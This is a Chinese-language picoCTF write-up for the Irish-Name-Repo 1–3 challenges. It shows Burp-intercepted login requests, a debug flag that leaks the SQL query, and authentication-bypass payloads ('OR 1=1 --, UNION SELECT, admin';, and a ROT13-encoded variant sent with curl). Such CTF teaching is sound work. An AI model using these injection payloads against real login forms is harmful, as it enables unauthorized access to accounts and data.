## 首頁(其他picoCTF writeup) https://hackmd.io/@sunfrancis12/ry_LLAgp3 作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12 ## Irish-Name-Repo 1 這題十分簡單,屬於基礎的SQL injection 近來網站後逛一逛,看到Login Admin,點擊後就進到這裡了 ![](https://hackmd.io/_uploads/Hkqk3Sh6n.png) 隨便登入後,出現了以下畫面 ![](https://hackmd.io/_uploads/BJ14hrhT2.png) 打開Burp,把interprect功能打開,再試著重新登入一次 攔截到的封包內容如下: ``` POST /problem/39720/login.php HTTP/1.1 Host: jupiter.challenges.picoctf.org Content-Length: 31 Cache-Control: max-age=0 Sec-Ch-Ua: Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "" Upgrade-Insecure-Requests: 1 Origin: https://jupiter.challenges.picoctf.org Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://jupiter.challenges.picoctf.org/problem/39720/login.html Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close username=sd&password=sd&debug=0 ``` 可以看到body的部分,有我們想要的訊息 ``` username=sd&password=sd&debug=0 ``` 我們修改body內容中的`debug`,並繼續送出 ``` username=sd&password=sd&debug=1 ``` 網站內容如下: ![](https://hackmd.io/_uploads/ryNk2Vnph.png) 其中的錯誤訊息顯示了他用來查詢資料庫的SQL指令 ``` SQL query: SELECT * FROM users WHERE name='sd' AND password='sd' ``` 我們就可以做SQL injection了,`username`輸入如下`password`隨便輸入 ``` 'OR 1=1 -- ``` ![](https://hackmd.io/_uploads/SJgLc9r263.png) 伺服器端看到的結果為: ``` SQL query: SELECT * FROM users WHERE name=''OR 1=1 -- ' AND password='sd' ``` 登入後就拿到flag了 ### 補充:除了'OR 1=1以外的用法 除了上述方法外,也有其他SQL injection的用法 ``` *以下符號都能當作註解使用 'OR 1=1 -- 'OR 1=1 /* 'OR 1=1; ``` 也可以用`UNION`來操作: ``` ' UNION SELECT * FROM users ; ``` ### UNION `UNION`是SQL的運算子,代表聯集,來將兩個(以上) SQL 查詢結果合併起來 我們可以利用`UNION`來聯集其他可以回傳表格的SQL查詢,讓SQL查詢有回傳東西,藉此通過伺服器驗證 但是再使用UNION前,必須知道先知道`TABE`和`Column`的名字 假設我們有一個SQL TABLE`users`: ### Table: users | user | password | | -------- | -------- | | guest | guest | | admin | admin | | king | king | 我們使用以下指令進行搜尋 ``` SELECT * FROM users WHERE user='guest' ``` 搜尋結果: | user | password | | -------- | -------- | | guest | guest | 我們使用`UNION`將兩筆搜尋結果聯集 ``` SELECT * FROM users WHERE user='guest' UNION SELECT * FROM users WHERE user='king' ``` 回傳結果: | user | password | | -------- | -------- | | guest | guest | | king | king | 我們回到題目,如果對我們剛剛的TABLE做查詢 ``` SELECT * FROM users WHERE user=''UNION SELECT * FROM users; ' AND password='sd' ``` 會回傳以下結果 | user | password | | -------- | -------- | | guest | guest | | admin | admin | | king | king | ## Irish-Name-Repo 2 我們試試看第一題可行的方法,發現他會偵測出SQL injection ![](https://hackmd.io/_uploads/SyVrlY262.png) 我們再`username`輸入 ``` admin'; ``` ![](https://hackmd.io/_uploads/Bkm3xKhp2.png) 伺服器端看到的指令如下: ``` SELECT * FROM users WHERE name='admin';' AND password='sd' ``` 代表如果有找到`name` = `admin`的話,就會回傳一個表格 登入後即可拿到flag ## Irish-Name-Repo 3 其實第三題跟SQL injection沒什麼太大關係 我們先隨便輸入登入 由於密碼會被屏蔽,所以這裡我用curl的方式來進行,讓大家看的到我輸入的內容 ``` "password=sd&debug=1" ``` 完整指令如下: ``` curl -X POST https://jupiter.challenges.picoctf.org/problem/29132/login.php --data "password=sd&debug=1" ``` 回傳的結果: ``` <pre>password: sd SQL query: SELECT * FROM admin where password = 'fq' </pre><h1>Login failed.</h1> ``` 可以看到我們輸入的`password`是sd但是錯誤訊息顯示的卻是fq,代表我們輸入的內容應該經過某種加密 我們換輸入fq,得到的結果是sd,代表他的加密方式應該是將英文字母倆倆對調 ``` <pre>password: fq SQL query: SELECT * FROM admin where password = 'sd' ``` 我們試著輸入or,得到結果be ``` <pre>password: or SQL query: SELECT * FROM admin where password = 'be' ``` 我們再輸入以下內容: ``` 'be 1=1 -- ``` curl指令如下: ``` curl -X POST https://jupiter.challenges.picoctf.org/problem/29132/login.php --data "password='be 1=1 --&debug=1" ``` 完成後即可看到flag